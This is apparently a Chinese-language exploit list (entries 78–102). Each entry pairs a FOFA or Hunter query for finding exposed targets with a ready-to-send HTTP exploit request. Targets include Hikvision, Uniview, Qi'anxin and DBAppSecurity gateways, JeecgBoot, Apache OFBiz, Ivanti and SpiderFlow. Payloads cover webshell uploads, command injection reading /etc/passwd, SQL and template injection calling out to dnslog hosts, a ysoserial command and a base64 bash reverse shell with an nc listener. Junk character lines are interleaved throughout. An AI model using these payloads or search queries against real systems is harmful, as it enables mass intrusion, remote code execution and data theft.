Content-Length: 433
$ R! M- D2 i( X% E0 F( _Accept: */*
Accept-Encoding: gzip, deflate
- Q: X2 Z9 r. q5 VAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
& s$ I% K, I8 F# P
) U, R+ I3 I, a# n------------398jnjVTTlDVXHlE7yYnfwBoix
" D9 l* g# u# C% O8 S2 _) D" Y  f0 rContent-Disposition: form-data; name="folder"

/upload/udplog
" @  _: e6 X8 \' [' ~# p0 J------------398jnjVTTlDVXHlE7yYnfwBoix
5 X5 u- v( R0 y; xContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
% a2 ]! s- u" z) f" k; f* c. C/ w
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
. L2 L$ {1 A, l4 R, K! WContent-Disposition: form-data; name="Upload"

Submit Query
  p. }* w( d% N, @% b# q------------398jnjVTTlDVXHlE7yYnfwBoix--
. _+ R* ^! m1 m' q. Q
9 J* P5 j- M: S5 A7 j1 J
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
0 G* Y8 `# k: i" l1 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

8 a  j: r  G# t$ M6 b------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
+ m& l3 |" Q% I( CContent-Type: image/png
( W6 U% i# H' K
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
5 g( B1 l- Q2 V0 H6 n4 m, aContent-Disposition: form-data; name="target"

" m$ Q8 m. f* s" a/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

2 @' f) ~" f5 @$ N
+ D- w' X3 Q, e9 X( v2 A9 bGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
( e4 a0 `8 F: L! Y3 c" [0 E7 fHost: x.x.x.x
: d$ A  r5 B0 s) @5 R6 W

79. BYTEVALUE 百为流控路由器远程命令执行
. p4 {6 s0 i/ j" n, M# G, y& P( J2 o* rFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
; f; i! M: A, E1 l. x' IHost:IP
/ g+ l+ u7 ~, m0 C# h* uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
) t/ v2 q$ m& k- oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" j- N7 }6 {5 \  [( |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  O" g  z( e! N. {7 M' Y1 `0 jConnection: close
, O' T' s! A! ?Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
! T) D( L, ?; {) E) F) T( X9 P9 nFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% i2 P- X) H* ^. \5 jContent-Length: 27
" z/ D- i, j; M, C2 O9 l) hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 H% Z0 O3 S+ g9 TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ D+ U# Z4 k6 w8 t% Y% yConnection: close
Content-Type: application/octet-stream
. F5 y2 L' u" ~( l9 J7 DUpgrade-Insecure-Requests: 1
' s1 e$ K% h+ Q# @7 A
<% out.print("oessqeonylzaf");%>
+ H' P1 a+ }4 W; L6 o9 X

GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
" S+ R- t" p2 gAccept-Encoding: gzip
& W! Q$ [# `: {( P- V; a

' Z/ e4 @0 E6 A! ?81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
) C2 S5 t& A- X6 SGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
, Y4 A4 F/ q% i* a. x: E9 F  S7 ~

! {! ^8 i, T; T5 c9 W+ q6 e& G82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
8 ]& C( S7 o" f0 e8 E5 E* |$ L" nPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
- \  d! K6 q5 r+ VUser-Agent: Go-http-client/1.1
" \; D: _' h" `; fContent-Length: 23
! N0 R3 C7 d2 _6 U  y4 T5 i: [8 [0 VAccept-Encoding: gzip
Connection: close
% y7 {- G0 @- m/ Z6 W. }Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
8 ~( I" n: v( a& o3 n: v) x8 Z
z1=1&z2="|id;"&z3=bhost

" Z! v" r6 ~6 E" J; X' n/ P4 k; K- C
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
( |7 q$ ~$ v8 d8 q* |- t
- Z/ m3 H/ I# v% \2 H0 ?
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ `0 C! Q9 Y' E" \Connection: close
Content-Length: 8881
' Q" y+ Y' {' Q! }' n9 {Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
1 l) v1 i4 `' g: C
3 |7 G  g4 s. P1 l. i& ^PAYLOAD
' k# [$ a% i5 D- c
( d& \1 ?. ]- r% b" \84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
5 \6 J2 b% G( Q, a' dFOFA：title=="JeecgBoot 企业级低代码平台"
  ?/ u& @; |" D
! J. J* O& o/ r3 m2 m2 c% S

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
# z, S9 {) ?5 y$ l+ bContent-Length: 156
Accept: */*
! R. s, T6 G$ _! C2 {Connection: close
8 O: z0 ?2 m3 Y' ]Content-Type: application/json
$ ]8 ?' u3 T/ ]$ K6 k9 N! QAccept-Encoding: gzip

  z2 o! T  q( O{
0 G6 S! K5 Q. e "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}

: N* ^' a, O9 s. u, G  @7 `
85. SysAid On-premise< 23.3.36远程代码执行
$ G: D. f6 D. L9 d  SCVE-2023-47246
+ y  V. Q" |1 O  w0 `$ d) ]8 VFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
  d) X2 p) D/ l3 `5 G) ]  J5 Y' z- zPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 }: a; w  L2 x4 y$ M+ TContent-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD
1 Q$ A5 M$ z1 V+ h. k; I/ i
# Q; w2 e) R+ V回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
( K- S* c) Z( N- ~6 s- R/ fFOFA：body="tosei_login_check.php"
& Y* q: ?( i' g0 v8 V4 }" O/ h$ E* sPOST /cgi-bin/network_test.php HTTP/1.1
$ H) s; D2 x- ~$ P; T. h% H: p  F0 nHost: x.x.x.x
8 N6 H% P! g8 m  QUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
6 d& ?8 F" @9 v7 [Content-Length: 44
( O& m8 E7 I" xAccept: */*
( z; f1 `3 @# z" ]8 JAccept-Encoding: gzip
* X- c* Y8 B9 t3 `Accept-Language: en
- s* w* `4 `& g/ l' v: aContent-Type: application/x-www-form-urlencoded
8 g0 q* s+ Z& k
host=%0acat${IFS}/etc/passwd%0a&command=ping

% p  [$ f3 r0 G: e
. I/ @! C8 z: o1 g% |# S87. 安恒明御安全网关aaa_local_web_preview文件上传
! \9 t* n  {5 R1 ~: EFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
% r/ P& s8 s* q3 a; g; Q6 j# }Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" w' {( w9 Z$ N9 ^Connection: close
Content-Length: 198
Accept-Encoding: gzip
! H" x! i' _6 T' v6 K* wContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

* M" ?% t, L2 ]4 t' v. }--qqobiandqgawlxodfiisporjwravxtvd
' y8 y0 o' k/ m4 o* j2 t. HContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
) l7 a5 e' Q3 s9 aContent-Type: text/plain

- o+ y- [+ x' n2 g. `) K4 Y4 G2ZqGNnsjzzU2GBBPyd8AIA7QlDq
& G, i( X% ^1 C2 f--qqobiandqgawlxodfiisporjwravxtvd--

" N! v; u; ?4 ]# V6 [$ F
/jfhatuwe.php

9 Z% u6 Z% o) M" S# X* h+ W! z) p88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
6 O% f  R6 C+ e7 J$ ^0 [& H$ BHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: C/ y( m$ l! n0 v( GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 m- }& }. b+ M8 f* \Accept-Encoding: gzip, deflate
- H' j; p, p8 b3 ^; _5 |/ kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

" S9 s5 Z6 |2 [5 O" {" p: c
/astdfkhl.php

( z) @* y( @! J+ \* ^" l89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
) X0 ^. S; j  g% Q8 F+ @8 }4 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
$ L) @2 h9 }& C/ FAccept-Encoding: gzip

% m. I: R  T1 ^% X, }; Toption=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
- N) M$ r& `0 b9 V) kFOFA：icon_hash="-1830859634"
# c+ }: O- f) y, IPOST /php/ping.php HTTP/1.1
: u1 e! T  y* M& F* nHost: x.x.x.x
, S- x% ^2 z! I, g$ T  o- o5 y- JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
) X; H6 ~% [& b- KAccept: application/json, text/javascript, */*; q=0.01
0 _+ B+ J- b/ g# N' BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; ?! e& C* I- {: n7 EConnection: close
! ]( q" W4 j- L- h1 r/ B# k5 `Content-Type: application/x-www-form-urlencoded
9 R8 [3 {- U. \# H1 SX-Requested-With: XMLHttpRequest

( I, H( |8 ~" m8 Hjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
% P7 a1 N% J. k. `9 lFOFA：title="综合安防管理平台"
& Y& s0 u  ^9 f4 Q1 vGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
9 r! n4 D) h2 g9 P( w2 @7 @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
( P+ _0 s5 r  H8 ~  \' H, {Accept-Encoding: gzip, deflate
8 l8 H" s- q7 d# r  W2 bAccept: */*
Connection: keep-alive
$ Z/ U9 H, @( Y% n$ V
" m# f, G/ p; b  P) s

% e0 n$ W9 q- y# L- w8 {92. 海康威视运行管理中心session命令执行
Fastjson命令执行
) G4 A0 H# ]0 J+ U9 _hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
  g8 m% _' ?: U' KPOST /center/api/session HTTP/1.1
; b% o0 W' k0 L% l5 DHost:
4 D" [, A( t7 B  i, ~. KAccept: application/json, text/plain, */*
: m3 [' A6 r5 a5 S! ]9 @Accept-Encoding: gzip, deflate
' t  o% A$ E* m& L/ j. ], vX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
: w  ]8 N# N/ hX-Language-Type: zh_CN
; E8 L5 ^! L$ OTestcmd: echo test
* p0 S+ G( O& H& ?/ [* z* E/ k5 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
" t" S4 C  x" q3 {8 vAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

4 ]8 r+ H# n% t0 F- yPAYLOAD

. L- O$ O% S9 h- f* G, G( d3 p
: U3 m2 r" ~: u& X93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
# n. ~! S6 ?% J8 iPOST /?g=app_av_import_save HTTP/1.1
' ~( u" Q" b' |% v% ZHost: x.x.x.x
1 b. p" z, p$ z" i8 }Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
* }' ^8 E  J$ ^3 a9 HUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! u% r# k+ t; f; c- Z/ m
9 y& u3 p0 n& h# j# {  v------WebKitFormBoundarykcbkgdfx
& N' e- X6 t$ J6 UContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
! I7 P2 P7 @/ u1 x* U8 W' ~5 _+ [: aContent-Type: text/plain
) E3 l/ l3 k$ N( J; s7 o
6 m5 K+ g# f6 n) _wagletqrkwrddkthtulxsqrphulnknxa
2 x- Y& z( @! x! V: a------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
! [) c# w( M7 g$ m+ q/ _2 r
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
; ?9 Q4 t7 ]8 b7 ?( vContent-Disposition: form-data; name="__hash__"
, U# D5 L1 }- ?. ?- b
0b9d6b1ab7479ab69d9f71b05e0e9445
* g  s2 W, P1 q5 a------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ v  I- b' p/ a% Z+ ]# x
! |, p( V) A/ h; F. R+ D' h
8 P! Z+ ?2 n, S$ {; e1 T94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
2 L' Y* ?2 f5 O' u" B! U, AFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
# }7 {# V! s: FPOST /?g=obj_area_import_save HTTP/1.1
; Z9 A! Q. B" ?. x, b' A* a4 \, @* PHost: x.x.x.x
4 d) k! q( [6 a6 HContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
& p" T8 K8 s3 `* ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
1 q$ m$ d3 |  v! ?! w( a! B9 Y3 mContent-Disposition: form-data; name="MAX_FILE_SIZE"
! I/ l' \1 ]$ L+ b1 x
" Y. u6 l& W. P1 Q! }, A10000000
------WebKitFormBoundarybqvzqvmt
0 T6 M9 j3 x  _. x" C) |Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
  ~9 s- X; y& j" p& R& MContent-Type: text/plain

; k( p6 v; w: T$ apxplitttsrjnyoafavcajwkvhxindhmu
" V) l& A9 M/ b2 ^3 j) ^------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
  m  q, e# z! E% m
2 s- b1 t6 p' r& l6 \- Jobj_app_upfile
- S% {# s$ U3 Q. W------WebKitFormBoundarybqvzqvmt
; A. r* C, [) B, C" c8 s9 sContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
0 P7 C) @+ w5 |) tHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
$ S* \, n, B, U& M
& ]/ s* V) x1 S4 i0 i- d

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
1 g/ a+ t( l/ \( Z1 E6 WCVE-2023-49070
2 h4 v/ S5 R% [- ]FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
: g' f" I+ W  E: s6 M8 T1 N: ]  H/ m( I
<?xml version="1.0"?>
+ s3 c* K# e+ y7 ?. I5 c, ~+ o2 I<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
) w) F* T; Q) F- j1 z' s; Z( z3 X    <params>
- c. h. Z7 [9 A- |      <param>
7 D. f( D% G1 l, p) R" s9 p      <value>
        <struct>
5 h6 ^0 A" y* S; \       <member>
) J, w0 \9 E( Z          <name>test</name>
          <value>
- C' R7 g! @# @# M2 V      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
  D3 |3 P3 o# m. Q) J$ Q      </value>
: a, E! \$ h2 N    </param>
    </params>
4 n( [: x' T' m& ?+ x# n, t0 \</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

( ]8 l, l5 f% x! |+ g9 c' r! J
5 \* e% K& @  F: F* Y将生成的payload替换到上面的POC
' r9 e. l- k3 V/ uPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

! Y- K) Z9 U+ ^PAYLOAD
- A+ i. C' `+ z/ G/ _
96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
4 M2 e6 m4 F8 v( K* p( `POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
& m% K( k" z+ n. l/ s  w- v8 c8 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
" w1 m0 Y7 p- e# `! OContent-Length: 55

8 h4 j. }0 I) n1 U1 i! ~groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
4 B9 g/ t, Q' c2 c' W1 w+ ~在kali上启动一个监听
nc -lvp 7777

" \* }4 A( F# g# J4 y& FPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
* Y0 {4 i0 @" X0 P( Q* WHost: 192.168.40.130:8443
. e, k  W# s; p- A/ }" NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
; Q' u$ z. U2 l- _8 J% PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
7 Z& ~$ ]0 D3 t8 [4 a
0 e1 a3 S. J9 r& I: |- F* MgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
! c$ _/ F9 n& A2 {6 U1 q
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
& t1 l1 T4 K9 ?: \/ d7 E7 LFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
3 a1 c1 @, r6 S3 WGET /passport/login/ HTTP/1.1
5 x9 T/ w& ]6 E* J) v8 A/ kHost: 192.168.40.130:8085
% g! q' ?. c( ^! S7 ]9 I% N) yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 a% ~2 {% c! G9 F9 B- VAccept-Encoding: gzip
  q& o  i6 W* }8 k8 mConnection: close
Cookie: rememberMe=PAYLOAD
) V6 J' O& j! o" K9 k  mX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
/ E+ }8 I: A. ?* U% {- m
! K8 y- w- P* Q' E& N4 ^1 y
2 }+ y9 _3 h) s; D, B" P98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
' p3 B; a7 K( g8 Y) D" }POST /function/save HTTP/1.1
9 f' F- J. l5 N  E# C- C7 i/ }Host: 192.168.40.130:8088
3 @, B' N: U+ Q/ ?3 a! ]' `" KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
9 n$ w0 F9 {4 W1 Y* S. QAccept: */*
" G5 l1 ]; Z1 N% i' f3 E9 uAccept-Encoding: gzip, deflate
8 \7 {! N8 |2 L6 a) m4 e4 ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 {8 x+ x* \+ P7 C6 ]0 O" w8 OContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
8 C7 K9 {! i: O5 h% g+ g3 G7 l
2 u  S- _4 {5 Z
5 }' [1 k- [2 A; G) ]; C& `! R99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
5 r: W3 G0 z  `' h3 J9 j7 L5 _FOFA：app="Ncast-产品" && title=="高清智能录播系统"
$ I$ X( }% y9 B7 T6 `# m9 HPOST /classes/common/busiFacade.php HTTP/1.1
4 O$ s. u6 g. M- D! JHost: 192.168.40.130:8080
5 I7 p" b) N; `& a( L( D& ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: d$ K  U) K' V9 e1 f$ X5 ^Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# |1 u# C1 @$ t# i' BContent-Type: application/x-www-form-urlencoded; charset=UTF-8
8 ^4 c$ V, y% N! w4 A6 @. {X-Requested-With: XMLHttpRequest
/ `' r( f+ A: {% I' q
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
3 |" i/ f  d/ y0 I2 M7 u* H
9 a8 R$ w) Y& s+ @& k: O
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
% \/ n0 |' b% G2 v. g% xCVE-2024-0352
FOFA：icon_hash="874152924"
* W: u  S1 u( i8 @' X) @POST /api/file/formimage HTTP/1.1
* |; P8 i: o4 i  ~: o( `  vHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
$ Y6 ]# e- w6 ]Connection: close
Content-Length: 201
" T3 R% F! ~1 x8 P: j1 QContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

7 ?3 b3 @" V% C------WebKitFormBoundarygcflwtei
2 g, V" H3 A; s/ y$ j* X. vContent-Disposition: form-data; name="file";filename="IE4MGP.php"
+ |5 {; t; G; y- w! \# RContent-Type: application/x-php
) P/ j) u  K6 V) d! g. u
6 z3 ~2 Q- `- j2 K9 S6 P: {2ayyhRXiAsKXL8olvF5s4qqyI2O
. V0 H1 d1 k# C& S% }! Q% U! z------WebKitFormBoundarygcflwtei--
4 _2 ]: {" {8 H! u

6 T& [1 F; o. g( q# c' W4 G101. ivanti policy secure-22.6命令注入
! b" S" s2 H) C# O7 Y1 r- x' {5 d$ U) qCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
) J0 C5 m0 U. Y* {# x6 e2 xHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
% E8 \5 `4 y: V3 W9 g+ \8 d

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
9 Y0 e) q" `0 f; I( o' J8 [+ u3 PFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
! g; V, V9 Z5 |8 [; CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, t8 k  F! u9 v( K6 L1 cConnection: close
Content-Length: 792
Accept-Encoding: gzip
4 P% \4 I% {; ~, t
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  